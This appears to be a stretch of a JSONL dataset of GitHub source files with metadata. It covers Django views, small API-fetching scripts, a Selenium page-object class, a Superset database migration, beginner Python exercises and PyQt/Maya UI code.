if len(sys.argv) < 2:\n v(\"Error, need input file as argument\")\n exit(1)\n else:\n fname = sys.argv[1]\n OUTFILE = open(\"OUTPUT_\"+fname, \"w\")\n main(open(fname, \"r\"))\n v(\"Finished\")\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_95/2737.py","file_name":"2737.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"69942117634","text":"from django.views.generic.base import TemplateView\nfrom django.views.generic.list import ListView\nfrom .models import Product\n \nclass Base():\n def get_base_context(self):\n data = {\n 'navbar': [\n ('/', 'Home'),\n ('/product', 'Products')\n ]\n }\n \n return data\n\nclass IndexView(TemplateView, Base):\n template_name = \"pimapp/index.html\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n base_context = self.get_base_context()\n meta_context = {\n 'meta_title': 'PIM - Product information management system'\n }\n return {**context, **base_context, **meta_context}\n\nclass ProductListView(ListView, Base):\n model = Product\n paginate_by = 100 # if pagination is desired\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n base_context = self.get_base_context()\n meta_context = {\n 'meta_title': 'PIM - Products list'\n }\n return {**context, **base_context, **meta_context}","repo_name":"Buzmarev/pim_django","sub_path":"pimapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10221907373","text":"# from . import Secret\nimport Secret\nimport requests\nimport sys\n\n# Set DEVELOPER_KEY to the API key value from the APIs & auth > Registered apps\n# tab of\n# https://cloud.google.com/console\n# Please ensure that you have enabled the YouTube Data API for your project.\n# DEVELOPER_KEY = Secret.YOUTUBE_DATA_API_KEY\n# YOUTUBE_API_SERVICE_NAME = 'youtube'\n# YOUTUBE_API_VERSION = 'v3'\n\n\ndef get_youtube_video_detail(videoId: str, tmp_file_path: str = \"/tmp\"):\n \"\"\"\n 指定されたvideoIdに紐づくデータを取得する\n \"\"\"\n\n res = requests.get(\n f'https://youtube.googleapis.com/youtube/v3/videos?part=snippet&id={videoId}&key={Secret.YOUTUBE_DATA_API_KEY}')\n item = res.json()\n print('item', item)\n return item\n\n\nif __name__ == '__main__':\n get_youtube_video_detail('Yd2zS38aQ6E', tmp_file_path=\"tmp\")\n","repo_name":"Hiroyuki1995/marugoto-momoclo-back","sub_path":"app/common/youtube/get_youtube_video_detail.py","file_name":"get_youtube_video_detail.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40521445989","text":"\n# Search the Dice Jobs API\n# lame docs: http://www.dice.com/common/content/util/apidoc/jobsearch.html\n# author: nxkennedy\n\n\n'''\nExample response:\n\n{\"detailUrl\":\"http://www.dice.com/job/result/10347349a/749028?src\\u003d19\",\"jobTitle\":\"Front-End Web Developer\",\"company\":\"The Doyle Group\",\"location\":\"Denver, CO\",\"date\":\"2017-01-18\"}\n\n'''\n\n\nimport requests\nimport csv\nfrom os.path import exists\nfrom sys import argv\n\n\n\n\ndef format_search(terms):\n\n print(terms)\n words = [x for x in terms.split(' ') if x]\n print(words)\n query = 'text=' + '+'.join(words) + '&age=30' + '&sort=1'\n print(query)\n # age - (optional) specify a posting age (a.k.a. days back)\n # sort - (optional) sort=1 sorts by posted age, sort=2 sorts by job title, sort=3 sorts by company, sort=4 sorts by location\n baseURL= 'http://service.dice.com/api/rest/jobsearch/v1/simple.json?'\n url = baseURL + query\n print(\"\\nRequested URL:\", url + '\\n')\n return url\n\n\n\ndef write_to_file(jobListings):\n\n with open('jobs.csv', 'w') as csvFile:\n fieldnames = ['Job Title', 'Company', 'Location', 'Posted', 'URL']\n writer = csv.DictWriter(csvFile, fieldnames=fieldnames)\n writer.writeheader()\n for job in jobListings:\n writer.writerow({'Job Title': job['jobTitle'], 'Company': job['company'], 'Location': job['location'], 'Posted': job['date'], 'URL': job['detailUrl']})\n print(\"Finished writing file.\")\n\n\n\ndef search(terms):\n\n response = requests.get(format_search(terms)).json()\n rawData = response\n print(rawData['count'], 'total results')\n print(rawData['lastDocument'], 'results per page')\n jobListings = rawData['resultItemList']\n write_to_file(jobListings)\n\n\n\nif __name__ == '__main__':\n s = input('Key word(s) to search?\\n> ')\n search(s)\n","repo_name":"nxkennedy/misc-scripts","sub_path":"Misc/dicejobsAPI.py","file_name":"dicejobsAPI.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15064916126","text":"'''\r\n파일 저장 명 : 8장_0530_1_최민호.py\r\n\r\n작성일 : 2023년 5월 30일\r\n학과 : 컴퓨터공학부\r\n학번 : 202395019\r\n이름 : 최민호\r\n문제 : 8장 파일 입출력\r\n'''\r\n\r\n# open() 함수로 파일 읽기 - read() 메소드\r\nf = open(\"test.txt\", \"r\") # 파일 오픈(읽기)\r\n\r\ntest = f.read()\r\nprint(test)\r\n\r\nf.close() # 파일 종료","repo_name":"minhokr/S-W-","sub_path":"chapter08/8장_0530_3_최민호.py","file_name":"8장_0530_3_최민호.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34623949297","text":"import os\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom src.pages.locator import Locator as L\nfrom src.pages.element import Element\nfrom src.pages.waits import ElementToBeEnabled, PageUrlToBe, TextToBeEmpty\nfrom glbl import Log, Error\n\nclass BasePage():\n def __init__(self, context):\n self.context = context\n self.url = self.context.session_context.url\n self.driver = context.driver\n self.data = context.data\n self.element = Element(context)\n\n def follow_url(self, url, expected_url=None):\n try:\n self.driver.get(url)\n except Exception as e:\n expected_url = url if expected_url is None else expected_url\n current_url = self.driver.current_url\n if current_url != expected_url:\n Error.error(f\"Error during try to follow URL = '{url}'. Current: {current_url}; Expected: {expected_url}.\\n{e}\")\n else:\n Log.info(f\"URL '{url}' is followed\")\n else:\n Log.info(f\"URL '{url}' is followed\")\n WebDriverWait(self.driver, 15).until(lambda x: x.execute_script(\"return document.readyState === 'complete'\"))\n\n def url_should_be(self, url):\n try:\n WebDriverWait(self.driver, 20).until(PageUrlToBe(url)) #pylint: disable=E1102\n except Exception as e:\n Error.error(f\"Incorrect page url.\\n{e}\")\n else:\n Log.info(\"Page url is correct\")\n\n def url_should_contain(self, text):\n current_url = self.driver.current_url\n if f\"{text}\" in current_url:\n Log.info(f\"URL contains text '{text}'\")\n else:\n Error.error(f\"URL does not contain '{text}'\")\n\n def get_authorization_token(self):\n cookies = self.driver.get_cookies()\n token = None\n for cookies_dict in cookies:\n name = cookies_dict[\"name\"].split(\".\")[-1]\n if name == \"idToken\":\n token = cookies_dict[\"value\"]\n break\n return token\n\n def input_by_name(self, name, data):\n if data is not None:\n self.element(f\"//input[@name='{name}']\").enter(data)\n\n def select_in_dropdown(self, xpath, name):\n if name is not None:\n self.element(xpath).click()\n Log.info(f\"Dropdown list with XPATH = '{xpath}' is opened\")\n self.element(f\"{xpath}/..//div[text()='{name}' and @tabindex='-1']\").click()\n\n def manage_shipto(self, shiptos, prefix_path=\"\"):\n if shiptos is not None:\n self.element(L.get_button_by_name(\"Manage\")).click()\n self.element(L.select_button).get()\n for shipto_name in shiptos:\n self.element(f\"{L.dialog}//span[text()='{shipto_name}']\").get()\n for shipto in shiptos:\n for row in range(1, self.element(prefix_path+L.table_row).count()+1):\n if shipto == self.element(L.get_table_item_in_dialog(row, 1)).text():\n self.element(f\"{L.get_table_item_in_dialog(row, 5)}//button\").click()\n break\n else:\n Error.error(f\"There is no ShipTo '{shipto}'\")\n self.element(f\"{L.dialog}{L.submit_button}//span[text()='Save']\").click()\n\n def wait_until_progress_bar_loaded(self, get_timeout=1):\n try:\n self.element(L.progress_bar).get(timeout=get_timeout, no_exception=True)\n except:\n pass\n self.element(L.progress_bar).wait_until_disappeared()\n\n def open_last_page(self):\n self.element(f\"{L.pagination_bottom}//button\").get()\n pagination_buttons = self.driver.find_elements(\"xpath\", f\"{L.pagination_bottom}//button\")\n pages = self.element(L.old_table).get().get_attribute(\"data-page-count\")\n if len(pagination_buttons) > 3:\n if pagination_buttons[-2].is_enabled():\n pagination_buttons[-2].click()\n self.should_be_last_page()\n self.element(L.get_table_item_by_index_outdated(0, 1, pages)).get()\n\n def last_page(self, pagination=None, wait=True):\n self.select_pagination(pagination)\n self.wait_until_progress_bar_loaded()\n pages = self.element(L.role_table).get().get_attribute(\"data-page-count\")\n if wait:\n try:\n WebDriverWait(self.driver, 7).until(ElementToBeEnabled(L.button_last_page))\n except:\n pass\n if self.element(L.button_last_page).is_enabled():\n self.element(L.button_last_page).click()\n self.element(L.get_table_item_by_index(0, 1, pages)).get()\n\n def select_pagination(self, number_of_elements):\n if number_of_elements is not None:\n self.element(L.listbox).click()\n self.element(L.get_select_pagination(number_of_elements)).click()\n\n def should_be_last_page(self):\n try:\n WebDriverWait(self.driver, 15).until(lambda x: x.find_elements(\"xpath\", \"//div[@class='pagination-bottom']//button\")[-2].get_attribute(\"disabled\") == \"true\") #pylint: disable=E1102\n except Exception as e:\n Error.error(f\"Last page is not opened.\\n{e}\")\n else:\n Log.info(\"Last page is opened\")\n\n def get_table_rows_number(self):\n return self.element(L.table_row).count()\n\n def get_header_column(self, header):\n self.element(L.table_header_column).get() #wait for the headers appear\n elements = self.element(L.table_header_column).get_list()\n for index, element in enumerate(elements):\n if element.text() == header:\n return index+1\n else: #pylint: disable=W0120\n Error.error(f\"Header '{header}' is not found\")\n\n def check_last_table_item_outdated(self, header, expected_text):\n column = self.get_header_column(header)\n self.element_should_have_text(L.get_last_table_item_outdated(column), expected_text)\n\n def check_last_table_item(self, header, expected_text):\n column = self.get_header_column(header)\n self.element_should_have_text(L.get_last_table_item(column), expected_text)\n\n def check_table_item_outdated(self, row, header, expected_text):\n column = self.get_header_column(header)\n self.element_should_have_text(L.get_table_item_outdated(row, column), expected_text)\n\n def check_table_item(self, row, header, expected_text):\n column = self.get_header_column(header)\n self.element_should_have_text(L.get_table_item(row, column), expected_text)\n\n def get_last_table_item_text_by_header_outdated(self, header):\n column = self.get_header_column(header)\n return self.element(L.get_last_table_item_outdated(column)).text()\n\n def get_last_table_item_text_by_header(self, header):\n column = self.get_header_column(header)\n return self.element(L.get_last_table_item(column)).text()\n\n def delete_dialog_should_be_about(self, expected_text):\n try:\n self.element_should_have_text(L.dialog+\"//b\", expected_text)\n except Exception as e:\n Error.error(f\"Delete dialog about '{expected_text}'.\\n{e}\")\n else:\n Log.info(f\"Delete dialog about '{expected_text}'\")\n\n def title_should_be(self, title):\n try:\n WebDriverWait(self.driver, 20).until(EC.title_is(title))\n except Exception as e:\n Error.error(f\"Title should be '{title}', but now it is '{self.driver.title}'.\\n{e}\")\n else:\n Log.info(f\"Title is '{title}'\")\n\n def select_checkbox(self, xpath):\n checked = self.element(xpath).get().get_attribute(\"checked\")\n if checked == 'true':\n Log.info(f\"Checkbox with XPATH = '{xpath}' has been already checked\")\n elif checked is None:\n self.element(xpath).get().click()\n Log.info(f\"Checkbox with XPATH = '{xpath}' is checked\")\n\n def unselect_checkbox(self, xpath):\n checked = self.element(xpath).get().get_attribute(\"checked\")\n if checked == 'true':\n self.element(xpath).get().click()\n Log.info(f\"Checkbox with XPATH = '{xpath}' is unchecked\")\n elif checked is None:\n Log.info(f\"Checkbox with XPATH = '{xpath}' has been already unchecked\")\n\n def select_checkbox_in_dialog_by_name(self, name):\n self.select_checkbox(L.get_checkbox_in_dialog_by_name(name))\n\n def unselect_checkbox_in_dialog_by_name(self, name):\n self.unselect_checkbox(L.get_checkbox_in_dialog_by_name(name))\n\n def set_checkbox_value_in_dialog_by_name(self, name, value):\n if value:\n self.select_checkbox(L.get_checkbox_in_dialog_by_name(name))\n else:\n self.unselect_checkbox(L.get_checkbox_in_dialog_by_name(name))\n\n def clear_all_checkboxes_in_dialog(self):\n try:\n checkboxes = self.element(L.dialog+L.checkbox).get_list()\n except Exception as e:\n Error.error(f\"Checkboxes in dialog not found.\\n{e}\")\n else:\n for element in checkboxes:\n checked = element.get().get_attribute(\"checked\")\n if checked == 'true':\n element.click()\n\n def checkbox_should_be(self, xpath, condition):\n checked = self.element(xpath).get().get_attribute(\"checked\")\n if condition:\n if checked == 'true':\n Log.info(f\"Checkbox with XPATH = '{xpath}' is checked\")\n elif checked is None:\n Error.error(f\"Checkbox with XPATH = '{xpath}' should be checked\")\n elif not condition:\n if checked is None:\n Log.info(f\"Checkbox with XPATH = '{xpath}' is unchecked\")\n elif checked == 'true':\n Error.error(f\"Checkbox with XPATH = '{xpath}' should be unchecked\")\n else:\n Error.error(\"Incorrect checkbox condition\")\n\n def dialog_should_not_be_visible(self):\n self.element(L.dialog).wait_until_disappeared()\n\n def import_csv(self, element_id, filename):\n folder = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n folder += \"/output/\"+filename\n self.element(element_id).get().send_keys(folder)\n self.element(L.dialog).get()\n self.element(L.continue_import).click()\n self.dialog_should_not_be_visible()\n\n def click_tab_by_name(self, tab_name):\n self.element(L.get_button_tab_by_name(tab_name)).click()\n\n def set_slider(self, xpath, condition):\n if condition is not None:\n if self.element(xpath).get().get_attribute(\"value\") != condition:\n self.element(xpath).get().click()\n Log.info(f\"Value of slider with XPATH = '{xpath}' is changed\")\n else:\n Log.info(f\"Slider with XPATH = '{xpath}' already has necessary value\")\n\n def page_refresh(self):\n self.driver.refresh()\n\n def table_refresh(self):\n element = self.element(\"rt-table\").get()\n element.send_keys(Keys.CONTROL, Keys.SHIFT, Keys.SPACE)\n\n def get_row_of_table_item_by_header(self, scan_by, column_header, prefix_path=\"\"):\n column = self.get_header_column(column_header)\n for index, row in enumerate(range(1, self.element(prefix_path+L.table_row).count()+1)):\n if scan_by == self.element(prefix_path+L.get_table_item_outdated(row, column)).text():\n return index+1\n\n def select_in_dropdown_via_input(self, xpath, name, span=None):\n if name is not None:\n self.element(xpath).click()\n Log.info(f\"Dropdown list with XPATH = '{xpath}' is opened\")\n self.element(f\"{xpath}//input\").enter(name)\n if span:\n self.element(f\"{xpath}/..//div[@tabindex='-1']//span[text()='{name}']\").click()\n else:\n self.element(f\"{xpath}/..//div[text()='{name}' and @tabindex='-1']\").click()\n\n def input_inline(self, data, xpath):\n if data is not None:\n self.element(xpath).click()\n self.element(xpath).click()\n element = self.element(f\"{xpath}//input\").get()\n self.driver.execute_script(\"arguments[0].value = arguments[1]\", element, \"\")\n self.element(f\"{xpath}//input\").enter(data)\n element.send_keys(Keys.ENTER)\n\n def select_customer_shipto(self, customer_xpath=None, customer_name=None, shipto_xpath=None, shipto_name=None):\n if customer_xpath is None:\n customer_xpath = L.get_indexed(L.select_box, 1)\n if shipto_xpath is None:\n shipto_xpath = L.get_indexed(L.select_box, 2)\n self.select_in_dropdown(customer_xpath, customer_name)\n self.select_in_dropdown(shipto_xpath, shipto_name)\n\n def element_should_have_text(self, xpath, text):\n if text is not None:\n self.element(xpath).get()\n try:\n WebDriverWait(self.driver, 15).until(EC.text_to_be_present_in_element((By.XPATH, xpath), text))\n except:\n Error.error(f\"Element with XPATH = '{xpath}' was found but text is different. Actual: '{self.element(xpath).text()}'. Expected: '{text}'\")\n else:\n Log.info(f\"Element with XPATH = '{xpath}' contains correct text\")\n\n def wait_until_dropdown_not_empty(self, xpath):\n try:\n WebDriverWait(self.driver, 15).until_not(TextToBeEmpty(xpath)) #pylint: disable=E1102\n except:\n pass\n\n def select_shipto_sku(self, shipto=None, sku=None):\n if shipto is not None:\n self.select_in_dropdown_via_input(L.get_dropdown_in_dialog(1), shipto)\n if sku is not None:\n self.select_in_dropdown(L.get_dropdown_in_dialog(2), sku)\n\n def apply_text_filter(self, name, value):\n self.element(L.filter_button).click()\n self.element(L.get_menuitem_with_text(name)).click()\n self.element(L.filter_input).enter(value)\n\n def follow_breadcrumb(self, text):\n self.element(f\"//a[@href]/div[text()='{text}']\").click()\n","repo_name":"fisher1706/ilx","sub_path":"src/pages/base_page.py","file_name":"base_page.py","file_ext":"py","file_size_in_byte":14177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11835229493","text":"from typing import Union, Tuple, Optional, Dict, List\r\nfrom dynsys_framework.dynamic_system import process\r\nIONames = Union[str, Tuple[str, ...]]\r\nFunctionRef = Union[callable, str]\r\nFunctionDict = Dict[str, callable]\r\nInitDict = Dict[str, object]\r\n\r\n\r\nclass ModelExecutorParameters:\r\n \"\"\"\r\n Parametrization class which is able to generate containers that are inputs for the Model and ModelExecutor robot_utils.\r\n After parametrization the user calls generate functions which create complete containers.\r\n \"\"\"\r\n def __init__(self):\r\n self._parameters = []\r\n self._common_functions = {}\r\n\r\n def add(self, output_names: IONames, input_names: IONames, function: FunctionRef,\r\n default_initial_values: Optional[InitDict] = None):\r\n self._parameters.append(Parameter(output_names, input_names, function,\r\n default_initial_values=default_initial_values))\r\n\r\n def set_common_functions(self, common_functions: FunctionDict):\r\n self._common_functions = common_functions\r\n\r\n def _extract_anonymous_functions(self) -> FunctionDict:\r\n \"\"\"\r\n Extracts anonymous functions from the parameters into a dictionary.\r\n Raises error if the function names clashes (or are not present in case of common functions)\r\n :return: Dictionary of anonymous functions.\r\n \"\"\"\r\n anonymous_functions = {}\r\n for parameter in self._parameters:\r\n function_name = parameter.function_name\r\n function_lambda = parameter.function_lambda\r\n uses_common_function = parameter.uses_common_function\r\n if uses_common_function:\r\n if function_name not in self._common_functions.keys():\r\n raise ValueError(\r\n \"{} flagged as common function is not defined in the common function dictionary\".format(\r\n function_name, self._common_functions.keys()\r\n ))\r\n else:\r\n if function_name in self._common_functions.keys():\r\n raise ValueError(\"anonymous function {} clashes with name in the common_functions {}\".format(\r\n function_name, self._common_functions.keys()\r\n ))\r\n if function_name in anonymous_functions.keys():\r\n raise ValueError(\"anonymous function {} clashes with name in the anonymous_functions {}\".format(\r\n function_name, anonymous_functions.keys()\r\n ))\r\n anonymous_functions[function_name] = function_lambda\r\n return anonymous_functions\r\n\r\n def generate_function_dictionary(self) -> FunctionDict:\r\n anonymous_functions = self._extract_anonymous_functions()\r\n return {**anonymous_functions, **self._common_functions}\r\n\r\n def generate_processes(self) -> List[process.Process]:\r\n return [param.extract_process() for param in self._parameters]\r\n\r\n def generate_initializations(self) -> InitDict:\r\n initializations = {}\r\n for param in self._parameters:\r\n for k in param.default_initial_values:\r\n if k in initializations.keys():\r\n raise ValueError(\"the variable {} initialization is already defined in {}\".format(\r\n k, initializations.keys()\r\n ))\r\n initializations[k] = param.default_initial_values[k]\r\n return initializations\r\n\r\n\r\nclass Parameter:\r\n def __init__(self, output_names: IONames, input_names: IONames, function: FunctionRef,\r\n default_initial_values: Optional[InitDict] = None):\r\n self.function_lambda = None\r\n if type(function) == str:\r\n self.uses_common_function = True\r\n self.function_name = function\r\n else:\r\n self.uses_common_function = False\r\n self.function_name = self.anonymous_function_name_from_output(output_names)\r\n self.function_lambda = function\r\n\r\n self.input_names = input_names\r\n self.output_names = output_names\r\n if type(input_names) is str:\r\n self._input_names = (input_names, )\r\n else:\r\n self._input_names = input_names\r\n if type(output_names) is str:\r\n self._output_names = (output_names, )\r\n else:\r\n self._output_names = output_names\r\n\r\n if default_initial_values is not None:\r\n for k in default_initial_values.keys():\r\n assert process.Process.DERIVATIVE_PREFIX + k in self._output_names, \\\r\n \"default initialization can be defined only for integrated variables.\" \\\r\n \" {} has no gradient here.\".format(k)\r\n self.default_initial_values = default_initial_values\r\n else:\r\n self.default_initial_values = {}\r\n\r\n for out_name in self._output_names:\r\n if process.Process.is_variable_name_derivative(out_name):\r\n assert process.Process.variable_name_integrated(out_name) in self.default_initial_values.keys(), \\\r\n \"The differential variable {} has not initialization in {}.\".format(\r\n out_name, self.default_initial_values.keys()\r\n )\r\n\r\n def extract_process(self) -> process.Process:\r\n return process.Process(self.function_name, self.input_names, self.output_names)\r\n\r\n @staticmethod\r\n def anonymous_function_name_from_output(output_names: IONames) -> str:\r\n if type(output_names) is str:\r\n return \"<{}>\".format(output_names)\r\n elif type(output_names) is tuple:\r\n return \"<{}>\".format(\",\".join(output_names))\r\n else:\r\n raise NotImplementedError(\"Not implemented\")\r\n","repo_name":"comrob/cpgim","sub_path":"dynsys_framework/execution_helpers/model_executor_parameters.py","file_name":"model_executor_parameters.py","file_ext":"py","file_size_in_byte":5827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15282321994","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# This is a sample Python script.\n\n# Press ⌃R to execute it or replace it with your code.\n# Press Double ⇧ to search everywhere for classes, files, tool windows, actions, and settings.\nfrom random import randrange\n\n# import the time module\nimport time\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n right = 0\n total = 0\n zh = ['一', '二', '三', '四', '五', '六', '七', '八', '九', '十']\n while(True):\n a = randrange(1, 10)\n\n while True:\n try:\n # 👇️ use int() instead of float\n # if you only accept integers\n #countdown(6)\n result = int(input(zh[a]))\n break\n except ValueError:\n print('This is not a number, please enter a number:')\n\n correct = False\n if a+1 == result:\n print(\"Good Job!\")\n right = right + 1\n else:\n while(correct==False):\n while True:\n try:\n print(\"Try again!\")\n result = int(input(zh[a]))\n break\n except ValueError:\n print('This is not a number, please enter a number.')\n if a == result:\n correct = True\n print(\"That is correct!\")\n\n #print(f'Your score is {int(right/total * 100)}.')\n\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n","repo_name":"dwang660/PlusAndMinus","sub_path":"YuWenShuZi.py","file_name":"YuWenShuZi.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10134764958","text":"# Реализуйте RLE алгоритм: реализуйте модуль сжатия и восстановления данных. Входные и выходные данные хранятся в\n# отдельных текстовых файлах.\n\n# aaaaabbbcccc -> 5a3b4c\n# 5a3b4c -> aaaaabbbcccc\n\ndef compression_algorithm(my_str):\n letter = my_str[0]\n count = 1\n result = ''\n\n for i in my_str[1:]:\n if i == letter:\n count += 1\n else:\n result += str(count) + letter\n letter = i\n count = 1\n result += str(count) + letter\n return result\n\ndef decryption_algorithm(new_str):\n pars_my_str = []\n for i in range(0, len(new_str)):\n pars_my_str.append(new_str[i])\n\n list_tuples = []\n for i in range(0, len(pars_my_str) - 1, 2):\n list_tuples.append((int(pars_my_str[i]), pars_my_str[i + 1]))\n create_list_tuples = list(list_tuples)\n\n general_list = [e for l in create_list_tuples for e in l]\n\n new_str = ''\n for i in range(1, len(general_list), 2):\n new_str += general_list[i] * general_list[i - 1]\n return new_str\n\nmy_str = 'aaaaabbbcccc'\nprint(f'Изначальная строка: {my_str} -> Строка после сжатия: {compression_algorithm(my_str)}')\nprint(f'Сжатая строка: {compression_algorithm(my_str)} -> Расшифрованная строка'\n f' {decryption_algorithm(compression_algorithm(my_str))}')\n\nresult = compression_algorithm(my_str)\nwith open('compression_result.txt', 'w', encoding='UTF-8') as my_str:\n my_str.write('Строка после сжатия: ')\n my_str.write(result)\n\nwith open('compression_result.txt', 'r', encoding='UTF-8') as my_str:\n my_str1 = my_str.readline()\nmy_str1 = my_str1.replace('Строка после сжатия: ', '')\n\nnew_result = decryption_algorithm(my_str1)\n\nwith open('decryption_result.txt', 'w', encoding='UTF-8') as new_str:\n new_str.write('Расшифрованная строка: ')\n new_str.write(new_result)\n\n\n\n\n\n\n","repo_name":"MaksimPozdniakov/Seminars_HWs_Lectures_Python","sub_path":"HomeWorks/HomeWork_05/Task_03.py","file_name":"Task_03.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4015601313","text":"## Ex. 창 띄우기.\n\nimport sys\nfrom PyQt5.QtWidgets import *\n\n\nclass MyApp(QWidget):\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n self.setWindowTitle('My First Application')\n self.move(300, 300)\n self.resize(400, 200)\n self.show()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv) # 모든 PyQt5 어플리케이션은 어플리케이션 객체를 생성해야 합니다.\n ex = MyApp()\n sys.exit(app.exec())\n","repo_name":"ottogi99/tutorials","sub_path":"PyQt5_Tutorial/01.Basic/Basic_01.py","file_name":"Basic_01.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25167544755","text":"revision = \"7e67aecbf3f1\"\ndown_revision = \"07f9a902af1b\"\n\nimport json\nimport logging\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.ext.declarative import declarative_base\n\nfrom superset import db\n\nBase = declarative_base()\n\nlogger = logging.getLogger(__name__)\n\n\nclass Slice(Base): # type: ignore\n __tablename__ = \"slices\"\n\n id = sa.Column(sa.Integer, primary_key=True)\n params = sa.Column(sa.String(250))\n datasource_type = sa.Column(sa.String(200))\n\n\ndef upgrade_slc(slc: Slice) -> None:\n # clean up all charts with datasource_type not != table\n slc.datasource_type = \"table\"\n ds_id = None\n ds_type = None\n try:\n params_dict = json.loads(slc.params)\n ds_id, ds_type = params_dict[\"datasource\"].split(\"__\")\n # the assumption here is that the query was saved as a dataset\n # but the type wasn't written properly to the slice\n # by updating the type here we expect it will either work\n # or it will 404 when the dataset is looked up.\n params_dict[\"datasource\"] = f\"{ds_id}__table\"\n slc.params = json.dumps(params_dict)\n logger.warning(\n \"updated slice datasource from %s__%s to %s__table for slice: %s\",\n ds_id,\n ds_type,\n ds_id,\n slc.id,\n )\n except Exception:\n # skip any malformatted params\n logger.warning(\n \"failed to update slice.id = %s w/ datasource = %s__%s to %s__table\",\n slc.id,\n ds_id,\n ds_type,\n ds_id,\n )\n pass\n\n\ndef upgrade():\n bind = op.get_bind()\n session = db.Session(bind=bind)\n with op.batch_alter_table(\"slices\") as batch_op:\n for slc in session.query(Slice).filter(Slice.datasource_type != \"table\").all():\n if slc.datasource_type == \"query\":\n upgrade_slc(slc)\n session.add(slc)\n\n else:\n logger.warning(\n \"unknown value detected for slc.datasource_type: %s\",\n slc.datasource_type,\n )\n\n # need commit the updated values for Slice.datasource_type before creating constraint\n session.commit()\n\n with op.batch_alter_table(\"slices\") as batch_op:\n batch_op.create_check_constraint(\n \"ck_chart_datasource\", \"datasource_type in ('table')\"\n )\n\n session.commit()\n session.close()\n\n\ndef downgrade():\n op.drop_constraint(\"ck_chart_datasource\", \"slices\", type_=\"check\")\n","repo_name":"apache/superset","sub_path":"superset/migrations/versions/2023-03-27_12-30_7e67aecbf3f1_chart_ds_constraint.py","file_name":"2023-03-27_12-30_7e67aecbf3f1_chart_ds_constraint.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":55269,"dataset":"github-code","pt":"61"} +{"seq_id":"15530418003","text":"from maya import cmds\nfrom PySide2 import QtWidgets, QtCore, QtGui\n\nfrom dotbloxmaya.core.ui import dockwindow\nfrom dotbloxmaya.core.general import pivot_to_bb\nfrom dotbloxmaya.core.constant import AXIS, DIRECTION\n\n\nclass COLORS():\n LIGHT_GREEN = \"#5fad88\"\n LIGHT_RED = \"#db5953\"\n LIGHT_BLUE = \"#58a5cc\"\n RED = \"#c83539\"\n GREEN = \"#66ad17\"\n BLUE = \"#366fd9\"\n\n\nclass PivotingWidget(QtWidgets.QWidget):\n\n def __init__(self, parent=None):\n QtWidgets.QWidget.__init__(self, parent=parent)\n self.tool_name = \"pivoting\"\n self.setObjectName(self.tool_name)\n self.setWindowTitle(self.tool_name.capitalize())\n\n self.ui = PivotingWidgetUI()\n self.ui.setup_ui(self)\n\n self.ui.center_btn.clicked.connect(\n lambda: cmds.xform(centerPivotsOnComponents=True))\n self.ui.bake_btn.clicked.connect(\n lambda: cmds.BakeCustomPivot()\n )\n\n self.ui.pos_x_btn.clicked.connect(\n lambda: pivot_to_bb(axis=AXIS.X, direction=DIRECTION.POSITIVE))\n self.ui.cntr_x_btn.clicked.connect(\n lambda: pivot_to_bb(axis=AXIS.X, center=True))\n self.ui.neg_x_btn.clicked.connect(\n lambda: pivot_to_bb(axis=AXIS.X, direction=DIRECTION.NEGATIVE))\n\n self.ui.pos_y_btn.clicked.connect(\n lambda: pivot_to_bb(axis=AXIS.Y, direction=DIRECTION.POSITIVE))\n self.ui.cntr_y_btn.clicked.connect(\n lambda: pivot_to_bb(axis=AXIS.Y, center=True))\n self.ui.neg_y_btn.clicked.connect(\n lambda: pivot_to_bb(axis=AXIS.Y, direction=DIRECTION.NEGATIVE))\n\n self.ui.pos_z_btn.clicked.connect(\n lambda: pivot_to_bb(axis=AXIS.Z, direction=DIRECTION.POSITIVE))\n self.ui.cntr_z_btn.clicked.connect(\n lambda: pivot_to_bb(axis=AXIS.Z, center=True))\n self.ui.neg_z_btn.clicked.connect(\n lambda: pivot_to_bb(axis=AXIS.Z, direction=DIRECTION.NEGATIVE))\n\n def minimumSizeHint(self):\n initial = QtWidgets.QWidget.sizeHint(self)\n return QtCore.QSize(150, initial.height())\n\n\nclass PivotingWidgetUI(object):\n def setup_ui(self, parent):\n main_layout = QtWidgets.QVBoxLayout()\n main_layout.setContentsMargins(0, 0, 0, 0)\n main_layout.setAlignment(QtCore.Qt.AlignTop)\n\n content_layout = 